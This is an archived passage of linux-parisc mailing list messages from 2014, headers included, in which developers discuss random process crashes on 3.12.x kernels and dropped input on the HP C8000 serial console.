[723945.604000] IASQ: 0000000006807000 0000000006807000 IAOQ: 0000000040b63033 
0000000040b63037
[723945.604000]  IIR: 0ca0109c    ISR: 0000000006807000  IOR: 0000000000000000
[723945.604000]  CPU:        1   CR30: 00000002397ac000 CR31: ffffffffffffffff
[723945.604000]  ORIG_R28: 0000000000000000
[723945.604000]  IAOQ[0]: 0000000040b63033
[723945.604000]  IAOQ[1]: 0000000040b63037
[723945.604000]  RP(r2): 0000000040b63027

When I upgraded OpenSSL I also saw an ICE during build, which went away on the 
next try.

I also see a lot of those:

[724507.480000] INEQUIVALENT ALIASES 0x42ed0000 and 0x42ed1000 in file 
libwrap.so.0.7.6

That could be the binutils bug that was mentioned, this file is from 2010. I'll 
rebuild that now to get rid of those warnings.

Next week I'll try 3.13, but since it has the same changes I expect the same 
results.

Eike
--nextPart3336682.qQgXemuarZ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlLi0MkACgkQXKSJPmm5/E62KQCcDbgySv0cgg/pj8GjD/2VUfqL
zAQAn1qdj/vSolCpYGbtbqvHCJ+mLr56
=jHD9
-----END PGP SIGNATURE-----

--nextPart3336682.qQgXemuarZ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Fri, 24 Jan 2014 22:07:23 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20140124220723.5985ac4e@marga.jer-c2.orkz.net>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390597646 21240 80.91.229.3 (24 Jan 2014 21:07:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jan 2014 21:07:26 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 24 22:07:33 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6nyM-0007Bn-IH
	for glpp-linux-parisc@plane.gmane.org; Fri, 24 Jan 2014 22:07:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752596AbaAXVH3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Jan 2014 16:07:29 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:49945 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752290AbaAXVH3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Jan 2014 16:07:29 -0500
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 18F6433F49F;
	Fri, 24 Jan 2014 21:07:27 +0000 (UTC)
In-Reply-To: <2696873.HIAXvrDslF@caliban.sf-tec.de>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5638>

On Fri, 24 Jan 2014 21:44:51 +0100
Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:

> I reported that I saw strange things happening after upgrading to
> 3.12.5. Meanwhile I upgraded to 3.12.8 and things became worse. I
> regularly see processes to fail randomly. I can see this as I
> somethimes get failures in my nagios because the SSH connection to
> the watched host (only the watched one runs .8) fails.

Confirmed with any kernel above 3.12.2 that I cared to test (I didn't
test 3.12.3). The issues vary from illegal instructions to segmentation
faults to double frees in userland, so it's basically a "random" thing.
I can't say it's become "worse" after 3.12.5 (since I haven't kept per
version statistics).


Regards,
     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Fri, 24 Jan 2014 22:26:15 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20140124222615.66cb0d2a@borg.lux.tuxicoman.be>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
	<20140124220723.5985ac4e@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390598824 4818 80.91.229.3 (24 Jan 2014 21:27:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jan 2014 21:27:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 24 22:27:09 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6oHK-0007Im-T1
	for glpp-linux-parisc@plane.gmane.org; Fri, 24 Jan 2014 22:27:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752859AbaAXV1F (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Jan 2014 16:27:05 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:59088 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752846AbaAXV1F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Jan 2014 16:27:05 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Fri, 24 Jan 2014 22:25:45 +0100
Original-Received: from borg.lux.tuxicoman.be ([2001:7e8:2221:300:224:8cff:fe0b:7d8e])
	by ibiza.lux.tuxicoman.be with esmtps (TLS1.2:DHE_RSA_AES_128_CBC_SHA1:128)
	(Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1W6oGW-0004iW-E2; Fri, 24 Jan 2014 22:26:16 +0100
In-Reply-To: <20140124220723.5985ac4e@marga.jer-c2.orkz.net>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.22; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5639>

On Fri, 24 Jan 2014 22:07:23 +0100
Jeroen Roovers <jer@gentoo.org> wrote:

> On Fri, 24 Jan 2014 21:44:51 +0100
> Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> 
> > I reported that I saw strange things happening after upgrading to
> > 3.12.5. Meanwhile I upgraded to 3.12.8 and things became worse. I
> > regularly see processes to fail randomly. I can see this as I
> > somethimes get failures in my nagios because the SSH connection to
> > the watched host (only the watched one runs .8) fails.
> 
> Confirmed with any kernel above 3.12.2 that I cared to test (I didn't
> test 3.12.3). The issues vary from illegal instructions to
> segmentation faults to double frees in userland, so it's basically a
> "random" thing. I can't say it's become "worse" after 3.12.5 (since I
> haven't kept per version statistics).


Same here, 3.12.5 was not behaving correctly and 3.12.8 was even worse.
With the later, I also experienced sshd segfault, python threading
segfault/hangs.
I quickly reverted to 3.12.4 which is far more stable.

  Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 05:41:44 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390624904 10599 80.91.229.3 (25 Jan 2014 04:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 04:41:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 05:41:50 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6v42-0002m9-Ee
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 05:41:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751432AbaAYElt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Jan 2014 23:41:49 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:35449 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082AbaAYElt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Jan 2014 23:41:49 -0500
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 5C15733F52C
	for <linux-parisc@vger.kernel.org>; Sat, 25 Jan 2014 04:41:48 +0000 (UTC)
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5640>

In recent kernels, with the new serial console code for the C8000,
performance is terrible. Typing quickly results in characters getting
dropped (I have no idea where I lose them), pasting results in 9 out of
10 characters being dropped, and I don't see anything on the client
side that could cause this, and I never had this problem with the old
ttyB0 code. While entering a password, some characters never turn up on
the other side and some get echoed back to the client.

Is anyone else seeing this?


Regards,
     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 09:20:45 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <57945170.qhAyWSFmja@caliban.sf-tec.de>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1771178.jz0YabOdfk"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1390638050 28064 80.91.229.3 (25 Jan 2014 08:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 08:20:50 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 09:20:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6yU3-0000E6-L8
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 09:20:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751373AbaAYIUy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 03:20:54 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:38278 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751197AbaAYIUy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 03:20:54 -0500
Original-Received: (qmail 23601 invoked from network); 25 Jan 2014 08:20:36 -0000
Original-Received: from dslb-188-096-222-185.pools.arcor-ip.net ([::ffff:188.96.222.185]:53722 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 25 Jan 2014 09:20:36 +0100
User-Agent: KMail/4.12 (Linux/3.12.7-1.g2424219-desktop; KDE/4.12.0; x86_64; ; )
In-Reply-To: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5641>


--nextPart1771178.jz0YabOdfk
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag, 25. Januar 2014, 05:41:44 schrieben Sie:
> In recent kernels, with the new serial console code for the C8000,
> performance is terrible. Typing quickly results in characters getting
> dropped (I have no idea where I lose them), pasting results in 9 out of
> 10 characters being dropped, and I don't see anything on the client
> side that could cause this, and I never had this problem with the old
> ttyB0 code. While entering a password, some characters never turn up on
> the other side and some get echoed back to the client.
> 
> Is anyone else seeing this?

What I see is that the C3600 now finally sees the kernel/console output of the 
C8000, I also see the login prompt, but typing anything on the C3600 doesn't 
seem to make it to the C8k. So things have improved, I now can actually see 
what's going on on the C8k, but I can't interact with it.

Eike
--nextPart1771178.jz0YabOdfk
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlLjc+MACgkQXKSJPmm5/E7RXACfbsvKOdCN1JVqXD97ZyoD7Sd3
FMsAn0da0cI9xUsK9dEm+3/z9X5Ogig9
=SbPH
-----END PGP SIGNATURE-----

--nextPart1771178.jz0YabOdfk--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 11:29:22 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <BLU0-SMTP74DD0D86114628AE2FE0A297A00@phx.gbl>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <57945170.qhAyWSFmja@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390667386 30055 80.91.229.3 (25 Jan 2014 16:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 16:29:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 17:29:48 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7678-00074H-GS
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 17:29:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751914AbaAYQ3l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 11:29:41 -0500
Original-Received: from blu0-omc3-s11.blu0.hotmail.com ([65.55.116.86]:56399 "EHLO
	blu0-omc3-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751843AbaAYQ3l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 11:29:41 -0500
Original-Received: from BLU0-SMTP74 ([65.55.116.74]) by blu0-omc3-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 25 Jan 2014 08:29:40 -0800
X-TMN: [u23xzPWqpakermbjXN+5KUKDhlyjx/S5]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP74.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 25 Jan 2014 08:29:39 -0800
In-Reply-To: <57945170.qhAyWSFmja@caliban.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Jan 2014 16:29:39.0580 (UTC) FILETIME=[A4D99BC0:01CF19EA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5642
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5642>

On 25-Jan-14, at 3:20 AM, Rolf Eike Beer wrote:

> Am Samstag, 25. Januar 2014, 05:41:44 schrieben Sie:
>> In recent kernels, with the new serial console code for the C8000,
>> performance is terrible. Typing quickly results in characters getting
>> dropped (I have no idea where I lose them), pasting results in 9  
>> out of
>> 10 characters being dropped, and I don't see anything on the client
>> side that could cause this, and I never had this problem with the old
>> ttyB0 code. While entering a password, some characters never turn  
>> up on
>> the other side and some get echoed back to the client.
>>
>> Is anyone else seeing this?
>
> What I see is that the C3600 now finally sees the kernel/console  
> output of the
> C8000, I also see the login prompt, but typing anything on the C3600  
> doesn't
> seem to make it to the C8k. So things have improved, I now can  
> actually see

Is XON/XOFF enabled in your terminal program?  See c8000 Technical  
Reference
Guide for setup requirements

I'm using standard PC null modem cable from c3750 to c8000 and minicom  
2.7.  It works
fine but it's fairly slow.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 17:34:14 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <1417398.fmUESL4Ngr@eto>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <57945170.qhAyWSFmja@caliban.sf-tec.de> <BLU0-SMTP74DD0D86114628AE2FE0A297A00@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2306547.tOyIsrxiqX"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1390667652 32586 80.91.229.3 (25 Jan 2014 16:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 16:34:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 17:34:18 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W76BW-0000Z7-DR
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 17:34:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752220AbaAYQeR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 11:34:17 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:40089 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751843AbaAYQeR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 11:34:17 -0500
Original-Received: (qmail 14724 invoked from network); 25 Jan 2014 16:33:59 -0000
Original-Received: from dslb-188-096-222-185.pools.arcor-ip.net ([::ffff:188.96.222.185]:50396 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 25 Jan 2014 17:33:59 +0100
User-Agent: KMail/4.11.5 (Linux/3.10.10-25.g8038aea-desktop; KDE/4.11.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP74DD0D86114628AE2FE0A297A00@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5643
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5643>


--nextPart2306547.tOyIsrxiqX
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag 25 Januar 2014, 11:29:22 schrieb John David Anglin:
> On 25-Jan-14, at 3:20 AM, Rolf Eike Beer wrote:
> > Am Samstag, 25. Januar 2014, 05:41:44 schrieben Sie:
> >> In recent kernels, with the new serial console code for the C8000,
> >> performance is terrible. Typing quickly results in characters getting
> >> dropped (I have no idea where I lose them), pasting results in 9
> >> out of
> >> 10 characters being dropped, and I don't see anything on the client
> >> side that could cause this, and I never had this problem with the old
> >> ttyB0 code. While entering a password, some characters never turn
> >> up on
> >> the other side and some get echoed back to the client.
> >> 
> >> Is anyone else seeing this?
> > 
> > What I see is that the C3600 now finally sees the kernel/console
> > output of the
> > C8000, I also see the login prompt, but typing anything on the C3600
> > doesn't
> > seem to make it to the C8k. So things have improved, I now can
> > actually see
> 
> Is XON/XOFF enabled in your terminal program?  See c8000 Technical
> Reference
> Guide for setup requirements
> 
> I'm using standard PC null modem cable from c3750 to c8000 and minicom
> 2.7.  It works
> fine but it's fairly slow.

Both on and off doesn't make a difference.

One other thing: the serial line from the C8000 to my Sun Fire V240 works 
flawlessly.

Eike
--nextPart2306547.tOyIsrxiqX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlLj54YACgkQXKSJPmm5/E6ltQCgku7BrT7izLy6YzWoj6r2qGRn
H14An07iWWa1g9KvCG0tZxcTIYM6B9AU
=+wkk
-----END PGP SIGNATURE-----

--nextPart2306547.tOyIsrxiqX--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 11:50:11 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <57945170.qhAyWSFmja@caliban.sf-tec.de> <BLU0-SMTP74DD0D86114628AE2FE0A297A00@phx.gbl> <1417398.fmUESL4Ngr@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390668626 10483 80.91.229.3 (25 Jan 2014 16:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Jan 2014 16:50:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 25 17:50:32 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W76RD-0005Rs-0A
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Jan 2014 17:50:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752014AbaAYQua (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 11:50:30 -0500
Original-Received: from blu0-omc3-s21.blu0.hotmail.com ([65.55.116.96]:3516 "EHLO
	blu0-omc3-s21.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751914AbaAYQua (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 11:50:30 -0500
Original-Received: from BLU0-SMTP14 ([65.55.116.72]) by blu0-omc3-s21.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 25 Jan 2014 08:50:29 -0800
X-TMN: [mqXHh5Mn3qwQGNUmtja/f3AbiY/O+MZb]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP14.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 25 Jan 2014 08:50:28 -0800
In-Reply-To: <1417398.fmUESL4Ngr@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Jan 2014 16:50:28.0331 (UTC) FILETIME=[8D29E3B0:01CF19ED]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5644
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5644>

On 25-Jan-14, at 11:34 AM, Rolf Eike Beer wrote:

> Am Samstag 25 Januar 2014, 11:29:22 schrieb John David Anglin:
>> On 25-Jan-14, at 3:20 AM, Rolf Eike Beer wrote:
>>> Am Samstag, 25. Januar 2014, 05:41:44 schrieben Sie:
>>>> In recent kernels, with the new serial console code for the C8000,
>>>> performance is terrible. Typing quickly results in characters  
>>>> getting
>>>> dropped (I have no idea where I lose them), pasting results in 9
>>>> out of
>>>> 10 characters being dropped, and I don't see anything on the client
